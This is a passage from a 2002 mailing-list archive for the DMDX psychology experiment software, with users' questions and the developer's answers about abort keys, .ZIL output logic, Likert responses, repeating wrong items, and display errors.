<5.1.0.14.2.20020917124303.00b13090@psy1.psych.arizona.edu> Date: Tue, 17 Sep 2002 12:47:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: weird things happening In-Reply-To: <1032230355.2983.0.camel@richie> References: <5.1.0.14.2.20020916180320.00b12818@psy1.psych.arizona.edu> <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> <5.1.0.14.2.20020916180320.00b12818@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:39 PM 9/16/2002 -0500, you wrote: >Would it be possible to have DMDX use random temp file names, or >something of that sort? Perhaps based on the machine name, the time and >the date? If you wanted to sponsor it, sure. Sponsorship in this instance means you buy us a nice hard disk. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 17 13:00:58 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8HJplMS009521 for ; Tue, 17 Sep 2002 12:51:47 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D872401000111CB for DMDX@psy1.psych.arizona.edu; Tue, 17 Sep 2002 12:50:32 -0700 Message-Id: <5.1.0.14.2.20020917124748.00b33a70@psy1.psych.arizona.edu> Date: Tue, 17 Sep 2002 12:50:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: self-paced experiments w/ video stimuli In-Reply-To: <3D8E0149@ntserver-e2w2.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:41 PM 9/17/2002 +0100, you wrote: >hi there everybody, > >i was just wondering if any of you have ever succeeded in creating a >self-paced experiment using digital video as stimuli. basically, i just need >to know if it's possible for participants to interrupt the digital video >playback. is there some way of getting DMDX to go on to the next trial >whenever a response is made? hope someone can maybe point me in the right >direction... Hmm, I added an abort key for digital video sequences, dunno how well it would work bound to a response key as well: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhabortitemkeynamekeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 18 12:44:46 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8IJhXMS012183 for ; Wed, 18 Sep 2002 12:43:45 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3D88770A00012333 for DMDX@psy1.psych.arizona.edu; Wed, 18 Sep 2002 12:42:15 -0700 Message-Id: <5.1.0.14.2.20020918112123.00b130a0@psy1.psych.arizona.edu> Date: Wed, 18 Sep 2002 12:42:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> References: <5.1.0.14.2.20020916083904.00b12818@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:01 PM 9/16/2002 +0100, you wrote: >Hi Jonathan, > > > Your problem is that you are using positive logic, DMDX expects > negative logic, > > 0V == button pressed. I meant to ask this question but forgot about it, > sorry. > > My bet is that you will see the same effects regardless of what version > of DMDX > > and input device is used. > >Sorry, I forgot to tell you: I had all signals inversed in the graph I >send you, because it makes it easier for me to see what is going on. The >input going from 'off' to 'on' is indeed the voltage going from 5V (or >something like that) to 0V. While I can't test the Keithley card under 2k or XP because the Keithey card merely being present in my XP machine stops the machine from even POSTing (let alone booting any OS) testing it in the ME box fails to duplicate the behavior you experienced. When the request is pressed +bit0 is followed by -bit0 and when negative button is pressed +bit1 is followed by - bit1. Just to be sure I ripped the Keithley out of the ME machine and stuck it in our test bed and after a hour or so of setting up drivers and what not (old ATI cards are pigs and don't get me started on the Keithley driver configuration idiocy) I got the same results there under XP. So unless your test jig is not doing what you think it is (I just used buttons) you've got some inexplicable error that I can't replicate here. And belive me, that .ZIL file you sent sure looks you're sending DMDX positive logic and not the negative logic it expects, your sequence starts with -bit1, if it was negative logic you'd see a +bit1 first. Once you read the .ZIL file that way it all looks like it works, each button press sequence is - followed by + (and not + followed by -). There's even approximately 50ms between your events: Subjects incorporated to date: 001 Data file started on machine PC125 ********************************************************************** Subject 1, 09/13/2002 15:04:44 on PC125, refresh 13.81ms Item 1 1252.50,-Bit1 1256.51,+Bit1 first isn't 50ms 1450.13,-Bit0 1498.28,+Bit0 but that is 1717.98,-Bit1 1768.14,+Bit1 and that is 1961.76,-Bit0 2010.92,+Bit0 and so on I don't suppose there's any way you could have told the Keithley crap to invert the input? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 19 04:19:18 2002 Received: from sirius.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.18.195.1] (may be forged)) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8JBIgMS013876 for ; Thu, 19 Sep 2002 04:18:43 -0700 Received: from [193.63.253.157] (helo=pc125.mrc-cbu.cam.ac.uk) by sirius.mrc-cbu.cam.ac.uk with esmtp (Exim 3.36 #2) id 17rx10-0001mI-00 for DMDX@psy1.psych.arizona.edu; Thu, 19 Sep 2002 09:50:26 +0100 Message-Id: <5.1.0.14.2.20020919094732.01c5ed10@193.63.253.1> Date: Thu, 19 Sep 2002 09:51:34 +0100 To: DMDX@psy1.psych.arizona.edu From: Maarten van Casteren Subject: [DMDX] Re: Strange behaviour in zil mode In-Reply-To: <5.1.0.14.2.20020918112123.00b130a0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20020916165335.0434d608@193.63.253.1> <5.1.0.14.2.20020916083904.00b12818@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, > And belive me, that .ZIL file you sent sure looks you're sending DMDX > positive logic and not the negative logic it expects. You are right. We didn't interpret the zil output in the right way, and used negative logic. A stupid mistake. Sorry about that. Looking at the output in the right way, it indeed seems to be working perfect. Thanks, Maarten >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 19 05:11:55 2002 Received: from dux1.tcd.ie (dux1.tcd.ie [134.226.1.23]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8JC2TMS014067 for ; Thu, 19 Sep 2002 05:02:30 -0700 Received: from ntserver-e2w2.tcd.ie (ntserver-e2w2.tcd.ie [134.226.1.65]) by dux1.tcd.ie (Postfix) with ESMTP id BF5E0572 for ; Thu, 19 Sep 2002 13:01:03 +0100 (IST) Date: Thu, 19 Sep 2002 13:01:03 +0100 From: keatingp To: DMDX Subject: [DMDX] Binding an abort function to more than one key Message-ID: <3D90E6A4@ntserver-e2w2.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list hi there everyone, thanks a million for the tip Jonathan! binding an abort key to a response key works perfectly. there's just one minor problem. our experimental design involves 4 valid responses (i.e. 4 separate response keys). binding an abort key to one of them is no problem, but when i try to bind it to two or more, dmdx only recognises one of them, specifically the last-placed one in the parameter line. i was just wondering if it's possible to bind an abort key to more than one key, or is this a limitation of the keyword? It's not a major problem either way, because we can probably work around it. It'd just be really nice if somone had figured out a way to do it.... many thanks, Peter Keating Dept. of Psychology, Trinity College, Dublin >===== Original Message From ""Jonathan C. Forster"" ===== >At 05:41 PM 9/17/2002 +0100, you wrote: >>hi there everybody, >> >>i was just wondering if any of you have ever succeeded in creating a >>self-paced experiment using digital video as stimuli. basically, i just need >>to know if it's possible for participants to interrupt the digital video >>playback. is there some way of getting DMDX to go on to the next trial >>whenever a response is made? hope someone can maybe point me in the right >>direction... > > > Hmm, I added an abort key for digital video sequences, dunno how well it >would work bound to a response key as well: > >http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhabortitemkeynamekeywor d.htm > > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Experience is the name everyone gives to his mistakes. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 19 08:51:07 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8JFocMS014537 for ; Thu, 19 Sep 2002 08:50:38 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D89C83F00005354 for DMDX@psy1.psych.arizona.edu; Thu, 19 Sep 2002 08:49:17 -0700 Message-Id: <5.1.0.14.2.20020919084816.00b127b8@psy1.psych.arizona.edu> Date: Thu, 19 Sep 2002 08:49:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Binding an abort function to more than one key In-Reply-To: <3D90E6A4@ntserver-e2w2.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:01 PM 9/19/2002 +0100, you wrote: >hi there everyone, > >thanks a million for the tip Jonathan! binding an abort key to a response key >works perfectly. there's just one minor problem. our experimental design >involves 4 valid responses (i.e. 4 separate response keys). binding an abort >key to one of them is no problem, but when i try to bind it to two or more, >dmdx only recognises one of them, specifically the last-placed one in the >parameter line. > >i was just wondering if it's possible to bind an abort key to more than one >key, or is this a limitation of the keyword? It's not a major >problem either way, because we can probably work around it. It'd just be >really nice if somone had figured out a way to do it.... There's no way around it without significantly expanding the code that implements the abort key. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Thu Sep 19 18:08:57 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8K18KMS015606 for ; Thu, 19 Sep 2002 18:08:21 -0700 Received: from a8o2y7 ([137.154.102.67]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g8K16t706714 for ; Fri, 20 Sep 2002 11:06:55 +1000 (EST) Message-ID: <001901c26040$d2a99de0$43669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] likert responses Date: Fri, 20 Sep 2002 10:58:23 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0016_01C26094.A37252C0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0016_01C26094.A37252C0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I wonder if someone can advise whether DMDX has the facility to use = likert responses (between 0 and 6) please I am wanting to rate perceptions of pictures and would like to record = these responses automatically.. Maybe there is some other software that can do this ? regards and thanks Arch ------=_NextPart_000_0016_01C26094.A37252C0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi I wonder if someone can advise whether = DMDX has the=20 facility to use likert responses (between 0 and 6) please   I am wanting to rate = perceptions of pictures=20 and would like to record these responses automatically..   Maybe there is some other =  software that can=20 do this ? regards  and thanks Arch         ------=_NextPart_000_0016_01C26094.A37252C0-- >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 20 08:43:49 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8KFhlMS017241 for ; Fri, 20 Sep 2002 08:43:47 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D8B18A500004DE7 for DMDX@psy1.psych.arizona.edu; Fri, 20 Sep 2002 08:42:23 -0700 Message-Id: <5.1.0.14.2.20020920084109.00b127b8@psy1.psych.arizona.edu> Date: Fri, 20 Sep 2002 08:42:21 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: likert responses In-Reply-To: <5.1.0.14.2.20020920082509.00b127b8@psy1.psych.arizona.edu> References: <001901c26040$d2a99de0$43669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:33 AM 9/20/2002 -0700, you wrote: >At 10:58 AM 9/20/2002 +1000, you wrote: >>Hi >>I wonder if someone can advise whether DMDX has the facility to use >>likert responses (between 0 and 6) please >> >>I am wanting to rate perceptions of pictures and would like to record >>these responses automatically.. > > Use the zillion response mode and the zillion one response > modifier of that. The validate each key you want for a response > with , etc. Or you use typed responses instead of . Or you can use one of the three different methods that provide feedback outlined at the end of the docs, forgot I stuck that stuff up there: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhzilliononeresponsekeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 20 08:44:55 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8KFYXMS017172 for ; Fri, 20 Sep 2002 08:34:33 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by phobos.email.Arizona.EDU (6.0.053) id 3D8B18A5000047D5 for DMDX@psy1.psych.arizona.edu; Fri, 20 Sep 2002 08:33:09 -0700 Message-Id: <5.1.0.14.2.20020920082509.00b127b8@psy1.psych.arizona.edu> Date: Fri, 20 Sep 2002 08:33:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: likert responses In-Reply-To: <001901c26040$d2a99de0$43669a89@a8o2y7> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:58 AM 9/20/2002 +1000, you wrote: >Hi >I wonder if someone can advise whether DMDX has the facility to use likert >responses (between 0 and 6) please > >I am wanting to rate perceptions of pictures and would like to record >these responses automatically.. Use the zillion response mode and the zillion one response modifier of that. The validate each key you want for a response with , etc. Or you use typed responses instead of . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are two ways to write error-free programs. Only the third one works. >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 20 12:25:46 2002 Received: from smtp4.global.net.uk (smtp4.global.net.uk [80.189.91.24]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8KJP5MS017775 for ; Fri, 20 Sep 2002 12:25:06 -0700 Received: from gr.189.8.132.dial.global.net.uk ([80.189.8.132] helo=w4o8e3) by smtp4.global.net.uk with smtp (Exim 3.36 #2) id 17sTNL-0007kx-00 for DMDX@psy1.psych.arizona.edu; Fri, 20 Sep 2002 20:23:39 +0100 From: ""Chris Letts"" To: ""DMDX"" Subject: [DMDX] questions and note from a newcomer Date: Fri, 20 Sep 2002 20:24:39 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Being new to dmdx, it has taken me ages to get my first program running as the user wants (but I'm told that's normal !) Although I've looked intensively at the help files, I can't however find much explanation as to the format of the output file (.zil). In particular: 1. why is the output for each item on 2 lines ? 2. why does the subject response time appear on both lines ? an example of the output I get looks like this: Item 8, 1762.68 1762.68,+Button 0 Item 111, 654.98 654.98,+Button 1 This all makes it much harder to analyse the results in a spreadsheet as you first have to combine the lines ! A point to note: I have nowhere seen mentioned the fact that since dmdx can be set to 'ignore unknown rtf' it is possible to create the program in a Word document table, using for example column 1 for the item number, col 2 for specific commands, etc. In this way the text of each item can be isolated in a single column. This allows my (technophobic) user to modify the text as much as he likes, without accidentally upsetting the commands. Having discovered this I also now find it 10 times easier to set up new dmdx programs as I can use 'find and replace' on each column to modify olny the bits I want to change... >From DMDX-owner@psy1.psych.arizona.edu Fri Sep 20 16:06:18 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8KN5pMS018278 for ; Fri, 20 Sep 2002 16:05:51 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3D8B18A500018193 for DMDX@psy1.psych.arizona.edu; Fri, 20 Sep 2002 16:04:26 -0700 Message-Id: <5.1.0.14.2.20020920154329.00b130a0@psy1.psych.arizona.edu> Date: Fri, 20 Sep 2002 16:04:25 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: questions and note from a newcomer In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:24 PM 9/20/2002 +0100, you wrote: > Being new to dmdx, it has taken me ages to get my first program running as >the user wants (but I'm told that's normal !) >Although I've looked intensively at the help files, I can't however find >much explanation as to the format of the output file (.zil). > > In particular: > 1. why is the output for each item on 2 lines ? Normally it doesn't provide the RT on the first line, the second line is the raw switch closure data and normally there's more than one event per item, zil standing for ""zillions"". Like this: Subjects incorporated to date: 001 Data file started on machine PC125 ********************************************************************** Subject 1, 09/13/2002 15:04:44 on PC125, refresh 13.81ms Item 1 1252.50,-Bit1 1256.51,+Bit1 1450.13,-Bit0 1498.28,+Bit0 1717.98,-Bit1 1768.14,+Bit1 1961.76,-Bit0 2010.92,+Bit0 2229.62,-Bit1 2279.78,+Bit1 2473.39,-Bit0 2522.55,+Bit0 2741.25,-Bit1 2791.41,+Bit1 2985.02,-Bit0 3034.18,+Bit0 3252.88,-Bit1 3304.04,+Bit1 3497.66,-Bit0 > 2. why does the subject response time appear on both lines ? Because makes zil output look at little more like regular output that's analyzed for correctness. If I could remember the reason why DMDX doesn't always provide both the RT with correctness calculated I'd make it always do it but the fact that it doesn't means there's something subtle in there that I'm not remembering and I don't particularly want to bust something unless I can avoid it. > an example of the output I get looks like this: > >Item 8, 1762.68 > 1762.68,+Button 0 >Item 111, 654.98 > 654.98,+Button 1 > > This all makes it much harder to analyse the results in a spreadsheet as >you first have to combine the lines ! When zil was first created something like 10 years ago the data was always processed by filters I wrote. Nowadays with speadsheets in wide use a tab delimited form of it's output on one line probably makes more sense -- but it won't happen unless someone decides to sponsor it's addition. > A point to note: I have nowhere seen mentioned the fact that since dmdx >can be set to 'ignore unknown rtf' it is possible to create the program in a >Word document table, using for example column 1 for the item number, col 2 >for specific commands, etc. In this way the text of each item can be >isolated in a single column. This allows my (technophobic) user to modify >the text as much as he likes, without accidentally upsetting the commands. >Having discovered this I also now find it 10 times easier to set up new dmdx >programs as I can use 'find and replace' on each column to modify olny the >bits I want to change... Always good to know. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is the name everyone gives to his mistakes. >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 24 23:12:42 2002 Received: from post.psych.unimelb.edu.au (post.psych.unimelb.edu.au [128.250.173.213]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8P60nMS028718 for ; Tue, 24 Sep 2002 23:00:49 -0700 Received: from pc172105 (pc172-105.psych.unimelb.edu.au [128.250.172.105]) by post.psych.unimelb.edu.au (8.9.3/8.9.3) with SMTP id PAA31642 for ; Wed, 25 Sep 2002 15:59:02 +1000 Message-ID: <006401c26458$f982e540$69acfa80@psych.unimelb.edu.au> From: ""Adam McKay"" To: Subject: [DMDX] Repitition of items until all correct Date: Wed, 25 Sep 2002 16:01:22 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, I am trying to set up a file such that it goes through all the items, and then re-presents the items (if possible, in a random order) that were answered incorrectly. Importantly, I want this representation loop to continue until there are no incorrect items remaining. I have been trying to use counters and branches, however, I can't find a good way of repeating items more than once. The script below appears to do what I want (without scrambling) but I can't think of a clever way to get out of the re-presentation loop. 0 c; 200 c; 0 c; +100 ""target1-again""*c; 210 c; 0 c; +101 ""target2-again""*c; 220 c; 1000 ""Are you ready to begin?""; +100 ""target1""*c; +101 ""target2""*c; 102 c; 0 ""the end""; If anyone can help it would be much appreciated? Thanks - Adam >From DMDX-owner@psy1.psych.arizona.edu Tue Sep 24 23:46:46 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8P6kJMS028834 for ; Tue, 24 Sep 2002 23:46:20 -0700 Received: from a8o2y7 ([137.154.102.61]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id g8P6iaY13434 for ; Wed, 25 Sep 2002 16:44:36 +1000 (EST) Message-ID: <002401c2645d$d251af60$3d669a89@a8o2y7> From: ""Arch Tibben"" To: Subject: [DMDX] networkin computer Date: Wed, 25 Sep 2002 16:36:02 +1000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0021_01C264B1.A30380E0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0021_01C264B1.A30380E0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Currently I am using a Laptop to run DMDX I find that logging on as a stand alone computer, Dmdx runs OK ...If I = log on as a network computer I have problems The error message is pixel = incompatibility It not really a problem but wonder if someone has come across this also regards Arch ------=_NextPart_000_0021_01C264B1.A30380E0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Currently I am using a Laptop to run=20 DMDX I find that logging on as a stand alone = computer,=20 Dmdx runs OK ...If I log on as a network computer I have problems The = error=20 message is pixel incompatibility   It not really a problem but wonder if = someone has=20 come across this also   regards Arch ------=_NextPart_000_0021_01C264B1.A30380E0-- >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 04:39:18 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PBPsMS029321 for ; Wed, 25 Sep 2002 04:25:55 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.12.5/8.12.5) with SMTP id g8PBOqXO001941 for ; Wed, 25 Sep 2002 13:24:52 +0200 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Wed, 25 Sep 2002 13:24:11 +0200 Message-Id: Date: Wed, 25 Sep 2002 13:23:41 +0200 From: ""Derek Eder"" To: Subject: [DMDX] DMDX 3.0.0.01 and command line display Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Problem: DMDX runs in ""white screen mode"", command line display not visible. ""-display 1"" argument has no effect. * DMDX 3.0.0.01 * single monitor / graphics card * (only) one video driver detected * Windows 98 * simple DMDX script: plays some .wav files, no subject interaction, no subject display. P.S. 1) I had a problem with a Keithley PIO-12 driverLINX pop up window a few weeks ago -- solved the problem by simply uninstalling the Keithley programs. 2) Anyone running DMDX under a foreign language version of Windows should be aware of the fact that you will have to use the native (non-english) names for the mouse and keyboard devices when using the function. E.g., to use a mouse in Swedish: or in Australia . The native names are visible in the TimeDX ""Basic Tests"" --> ""Input Test"". (although the input test also lists my Nokia Monitor's inbuilt USB hub as an input device). Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap Klinisk Neurofysiologi Sahlgrenska universitetssjukhuset SS/SU Bl� straket 7, v�n 3 SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 244 14 (office) NYT! Tlf. +46 (031) 34 212 83 (laboratory) Tlf. +46 0709 / 7 212 83 (mobil) Fax. +46 (031) 82 81 63 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Department of Clinical Neurophysiology Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 09:21:50 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g8PGKiMS029945 for ; Wed, 25 Sep 2002 09:20:44 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3D91B13C00006E26 for DMDX@psy1.psych.arizona.edu; Wed, 25 Sep 2002 09:19:04 -0700 Message-Id: <5.1.0.14.2.20020925085744.00b12840@psy1.psych.arizona.edu> Date: Wed, 25 Sep 2002 09:19:04 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Repitition of items until all correct In-Reply-To: <006401c26458$f982e540$69acfa80@psych.unimelb.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:01 PM 9/25/2002 +1000, you wrote: >Hi, > >I am trying to set up a file such that it goes through all the items, and >then re-presents the items (if possible, in a random order) that were >answered incorrectly. Importantly, I want this representation loop to >continue until there are no incorrect items remaining. I have been trying to >use counters and branches, however, I can't find a good way of repeating >items more than once. The script below appears to do what I want (without >scrambling) but I can't think of a clever way to get out of the >re-presentation loop. The best way to do this is to have a counter for every item and to only execute an item if that counter is zero and once a correct response had been given to increment that counter. To fully implement your solution you would need two item files and each item would have to increment two counters dependant on the response given. The first item file would basically set all counters to zero, save them and then chain to the second item file. The second item file would scramble and contain the experiment proper. It would load all counters, and set a global counter to zero that will be used to determine if there were any incorrect responses. Each item will have to have a skip display item before it and two skip display items after it, the first skip item before would branch to the last one if the item's counter wasn't zero (because it's response has been correct), the item would follow, the first following skip item would increment the item's counter if the response was correct and increment the global counter if the response was wrong. The last following skip item is just a destination stub, nothing but and item number and a semi colon. At the end of the second item file if the global counter isn't zero there must have been at least one wrong response so it will save counters and chain to itself so it'll get scrambled again and all wrong items can get presented again. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ None love the bearer of bad news. - Sophocles >From DMDX-owner@psy1.psych.arizona.edu Wed Sep 25 09:25:09 2002 Received: from kuma.unm.edu (kuma.unm.edu [129.24.9.36]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g8PGOPMS029987 for ; Wed, 25 Sep 2002 09:24:26 -0700 Received: (qmail 1569 invoked by uid 0); 25 Sep 2002 10:22:45 -0600 Received: from davee@unm.edu by mail.unm.edu with qmail-scanner-0.96 (. Clean. Processed in 0.107097 secs); 25 Sep 2002 16:22:45 -0000 Received: from dhcp-168-0155.unm.edu (HELO dell-dimension-.unm.edu) (129.24.174.16) by kuma.unm.edu with SMTP; 25 Sep 2002 10:22:44 -0600 Message-Id: <5.1.0.14.1.20020925084024.02561470@mail.unm.edu> Date: Wed, 25 Sep 2002 10:22:34 -0600 To: DMDX@psy1.psych.arizona.edu From: david eddington Subject: [DMDX] Re: False triggers with DigitalVOX Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I have also had problems with unwanted triggers, but not in the same way as others have described. Here is my script: $ 0 ""Ready to start""; $ +11 ""falta""/""punto""/""palma""/""linda""/""donde""/""sonda""/ * ""perro""/!; +12 ""pinza""/""mundo""/""pista""/""renta""/""tonto""/""fusta""/""mismo""/""pesca""/ * ""barra""/!; +13 